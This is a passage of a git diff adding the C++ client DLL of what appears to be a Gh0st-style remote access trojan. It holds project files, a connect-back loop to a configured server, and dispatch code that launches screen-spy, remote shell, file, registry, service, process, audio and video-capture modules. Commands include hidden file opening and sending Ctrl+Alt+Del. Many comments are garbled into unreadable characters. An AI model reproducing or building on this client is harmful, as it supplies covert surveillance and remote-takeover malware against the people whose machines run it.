extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
|
||||||
|
|
||||||
|
|
||||||
|
DWORD WINAPI StartClient(LPVOID lParam)
|
||||||
|
{
|
||||||
|
IOCPClient *ClientObject = new IOCPClient();
|
||||||
|
|
||||||
|
while (!g_bExit)
|
||||||
|
{
|
||||||
|
DWORD dwTickCount = GetTickCount();
|
||||||
|
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
|
||||||
|
{
|
||||||
|
for (int k = 500; !g_bExit && --k; Sleep(10));
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
SendLoginInfo(ClientObject, GetTickCount()-dwTickCount);
|
||||||
|
|
||||||
|
CKernelManager Manager(ClientObject);
|
||||||
|
bool bIsRun = 0;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
Sleep(200);
|
||||||
|
|
||||||
|
bIsRun = ClientObject->IsRunning();
|
||||||
|
|
||||||
|
} while (bIsRun && ClientObject->IsConnected() && !g_bExit);
|
||||||
|
}
|
||||||
|
|
||||||
|
cout<<"StartClient end\n";
|
||||||
|
delete ClientObject;
|
||||||
|
g_bThreadExit = true;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
20
client/ClientDll.sln
Normal file
20
client/ClientDll.sln
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio 2012
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ClientDll", "ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Win32 = Debug|Win32
|
||||||
|
Release|Win32 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.Build.0 = Debug|Win32
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
136
client/ClientDll.vcxproj
Normal file
136
client/ClientDll.vcxproj
Normal file
@@ -0,0 +1,136 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
|
||||||
|
<RootNamespace>ClientDll</RootNamespace>
|
||||||
|
<ProjectName>ServerDll</ProjectName>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v110</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v110</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup />
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="Audio.cpp" />
|
||||||
|
<ClCompile Include="AudioManager.cpp" />
|
||||||
|
<ClCompile Include="Buffer.cpp" />
|
||||||
|
<ClCompile Include="CaptureVideo.cpp" />
|
||||||
|
<ClCompile Include="ClientDll.cpp" />
|
||||||
|
<ClCompile Include="Common.cpp" />
|
||||||
|
<ClCompile Include="CursorInfor.cpp" />
|
||||||
|
<ClCompile Include="FileManager.cpp" />
|
||||||
|
<ClCompile Include="IOCPClient.cpp" />
|
||||||
|
<ClCompile Include="KernelManager.cpp" />
|
||||||
|
<ClCompile Include="LoginServer.cpp" />
|
||||||
|
<ClCompile Include="Manager.cpp" />
|
||||||
|
<ClCompile Include="RegisterManager.cpp" />
|
||||||
|
<ClCompile Include="RegisterOperation.cpp" />
|
||||||
|
<ClCompile Include="ScreenManager.cpp" />
|
||||||
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
|
<ClCompile Include="ShellManager.cpp" />
|
||||||
|
<ClCompile Include="StdAfx.cpp" />
|
||||||
|
<ClCompile Include="SystemManager.cpp" />
|
||||||
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="Audio.h" />
|
||||||
|
<ClInclude Include="AudioManager.h" />
|
||||||
|
<ClInclude Include="Buffer.h" />
|
||||||
|
<ClInclude Include="CaptureVideo.h" />
|
||||||
|
<ClInclude Include="Common.h" />
|
||||||
|
<ClInclude Include="CursorInfor.h" />
|
||||||
|
<ClInclude Include="FileManager.h" />
|
||||||
|
<ClInclude Include="IOCPClient.h" />
|
||||||
|
<ClInclude Include="KernelManager.h" />
|
||||||
|
<ClInclude Include="LoginServer.h" />
|
||||||
|
<ClInclude Include="Manager.h" />
|
||||||
|
<ClInclude Include="RegisterManager.h" />
|
||||||
|
<ClInclude Include="RegisterOperation.h" />
|
||||||
|
<ClInclude Include="resource.h" />
|
||||||
|
<ClInclude Include="ScreenManager.h" />
|
||||||
|
<ClInclude Include="ScreenSpy.h" />
|
||||||
|
<ClInclude Include="ServicesManager.h" />
|
||||||
|
<ClInclude Include="ShellManager.h" />
|
||||||
|
<ClInclude Include="StdAfx.h" />
|
||||||
|
<ClInclude Include="SystemManager.h" />
|
||||||
|
<ClInclude Include="TalkManager.h" />
|
||||||
|
<ClInclude Include="VideoCodec.h" />
|
||||||
|
<ClInclude Include="VideoManager.h" />
|
||||||
|
<ClInclude Include="zconf.h" />
|
||||||
|
<ClInclude Include="zlib.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="Script.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="ExportFunTable.def" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Media Include="Res\msg.wav" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
||||||
177
client/ClientDll.vcxproj.filters
Normal file
177
client/ClientDll.vcxproj.filters
Normal file
@@ -0,0 +1,177 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="源文件">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="头文件">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="资源文件">
|
||||||
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
|
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="Audio.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="AudioManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Buffer.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="CaptureVideo.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ClientDll.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Common.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="CursorInfor.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="FileManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="IOCPClient.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="KernelManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="LoginServer.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Manager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="RegisterManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="RegisterOperation.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ScreenManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ScreenSpy.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ServicesManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ShellManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="StdAfx.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="SystemManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="TalkManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="VideoManager.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="Audio.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="AudioManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Buffer.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="CaptureVideo.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Common.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="CursorInfor.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="FileManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="IOCPClient.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="KernelManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="LoginServer.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Manager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="RegisterManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="RegisterOperation.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="resource.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ScreenManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ScreenSpy.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ServicesManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ShellManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="StdAfx.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="SystemManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="TalkManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="VideoCodec.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="VideoManager.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="zconf.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="zlib.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="Script.rc">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="ExportFunTable.def">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Media Include="Res\msg.wav">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</Media>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
11
client/ClientDll.vcxproj.user
Normal file
11
client/ClientDll.vcxproj.user
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<LocalDebuggerCommand>$(TargetDir)\TestRun.exe</LocalDebuggerCommand>
|
||||||
|
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<LocalDebuggerCommand>$(TargetDir)\TestRun.exe</LocalDebuggerCommand>
|
||||||
|
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||||
|
</PropertyGroup>
|
||||||
|
</Project>
|
||||||
111
client/Common.cpp
Normal file
111
client/Common.cpp
Normal file
@@ -0,0 +1,111 @@
|
|||||||
|
#include "StdAfx.h"
|
||||||
|
#include "Common.h"
|
||||||
|
|
||||||
|
#include "ScreenManager.h"
|
||||||
|
#include "FileManager.h"
|
||||||
|
#include "TalkManager.h"
|
||||||
|
#include "ShellManager.h"
|
||||||
|
#include "SystemManager.h"
|
||||||
|
#include "AudioManager.h"
|
||||||
|
#include "RegisterManager.h"
|
||||||
|
#include "ServicesManager.h"
|
||||||
|
#include "VideoManager.h"
|
||||||
|
|
||||||
|
extern char g_szServerIP[MAX_PATH];
|
||||||
|
extern unsigned short g_uPort;
|
||||||
|
|
||||||
|
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
|
||||||
|
SIZE_T dwStackSize,
|
||||||
|
LPTHREAD_START_ROUTINE StartAddress,
|
||||||
|
LPVOID lParam,
|
||||||
|
DWORD dwCreationFlags,
|
||||||
|
LPDWORD ThreadId, bool bInteractive)
|
||||||
|
{
|
||||||
|
HANDLE hThread = INVALID_HANDLE_VALUE;
|
||||||
|
THREAD_ARG_LIST ThreadArgList = {0};
|
||||||
|
ThreadArgList.StartAddress = StartAddress;
|
||||||
|
ThreadArgList.lParam = (void *)lParam; //IP
|
||||||
|
ThreadArgList.bInteractive = bInteractive; //??
|
||||||
|
ThreadArgList.hEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
|
||||||
|
hThread = (HANDLE)CreateThread(SecurityAttributes,
|
||||||
|
dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList,
|
||||||
|
dwCreationFlags, (LPDWORD)ThreadId);
|
||||||
|
|
||||||
|
WaitForSingleObject(ThreadArgList.hEvent, INFINITE);
|
||||||
|
CloseHandle(ThreadArgList.hEvent);
|
||||||
|
|
||||||
|
return hThread;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI ThreadProc(LPVOID lParam)
|
||||||
|
{
|
||||||
|
THREAD_ARG_LIST ThreadArgList = {0};
|
||||||
|
memcpy(&ThreadArgList,lParam,sizeof(THREAD_ARG_LIST));
|
||||||
|
SetEvent(ThreadArgList.hEvent);
|
||||||
|
|
||||||
|
DWORD dwReturn = ThreadArgList.StartAddress(ThreadArgList.lParam);
|
||||||
|
return dwReturn;
|
||||||
|
}
|
||||||
|
|
||||||
|
template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
IOCPClient *ClientObject = (IOCPClient *)lParam;
|
||||||
|
if (ClientObject->ConnectServer(g_szServerIP,g_uPort))
|
||||||
|
{
|
||||||
|
Manager m(ClientObject, n);
|
||||||
|
ClientObject->RunEventLoop();
|
||||||
|
}
|
||||||
|
delete ClientObject;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopScreenManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CScreenManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopFileManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CFileManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopTalkManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CTalkManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopShellManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CShellManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopProcessManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CSystemManager, COMMAND_SYSTEM>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopWindowManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CSystemManager, COMMAND_WSLIST>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopVideoManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CVideoManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopAudioManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CAudioManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopRegisterManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CRegisterManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopServicesManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CServicesManager, 0>(lParam);
|
||||||
|
}
|
||||||
151
client/Common.h
Normal file
151
client/Common.h
Normal file
@@ -0,0 +1,151 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "IOCPClient.h"
|
||||||
|
|
||||||
|
enum
|
||||||
|
{
|
||||||
|
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>䷽ʽ
|
||||||
|
TRANSFER_MODE_NORMAL = 0x00, // һ<><D2BB>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>Ѿ<EFBFBD><D1BE>У<EFBFBD>ȡ<EFBFBD><C8A1>
|
||||||
|
TRANSFER_MODE_ADDITION, // <><D7B7>
|
||||||
|
TRANSFER_MODE_ADDITION_ALL, // ȫ<><C8AB><EFBFBD><D7B7>
|
||||||
|
TRANSFER_MODE_OVERWRITE, // <20><><EFBFBD><EFBFBD>
|
||||||
|
TRANSFER_MODE_OVERWRITE_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TRANSFER_MODE_JUMP, // <20><><EFBFBD><EFBFBD>
|
||||||
|
TRANSFER_MODE_JUMP_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TRANSFER_MODE_CANCEL, // ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
// <20><><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_ACTIVED = 0x00, // <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF>Լ<EFBFBD><D4BC>ʼ<EEBFAA><CABC><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_LIST_DRIVE, // <20>г<EFBFBD><D0B3><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
|
||||||
|
COMMAND_LIST_FILES, // <20>г<EFBFBD>Ŀ¼<C4BF>е<EFBFBD><D0B5>ļ<EFBFBD>
|
||||||
|
COMMAND_DOWN_FILES, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
COMMAND_FILE_SIZE, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||||
|
COMMAND_FILE_DATA, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_EXCEPTION, // <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
|
||||||
|
COMMAND_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_STOP, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ
|
||||||
|
COMMAND_DELETE_FILE, // ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
||||||
|
COMMAND_DELETE_DIRECTORY, // ɾ<><C9BE>Ŀ¼
|
||||||
|
COMMAND_SET_TRANSFER_MODE, // <20><><EFBFBD>ô<EFBFBD><C3B4>䷽ʽ
|
||||||
|
COMMAND_CREATE_FOLDER, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
|
COMMAND_RENAME_FILE, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_OPEN_FILE_SHOW, // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
COMMAND_OPEN_FILE_HIDE, // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
|
||||||
|
COMMAND_SCREEN_SPY, // <20><>Ļ<EFBFBD>鿴
|
||||||
|
COMMAND_SCREEN_RESET, // <20>ı<EFBFBD><C4B1><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_ALGORITHM_RESET, // <20>ı<EFBFBD><C4B1>㷨
|
||||||
|
COMMAND_SCREEN_CTRL_ALT_DEL, // <20><><EFBFBD><EFBFBD>Ctrl+Alt+Del
|
||||||
|
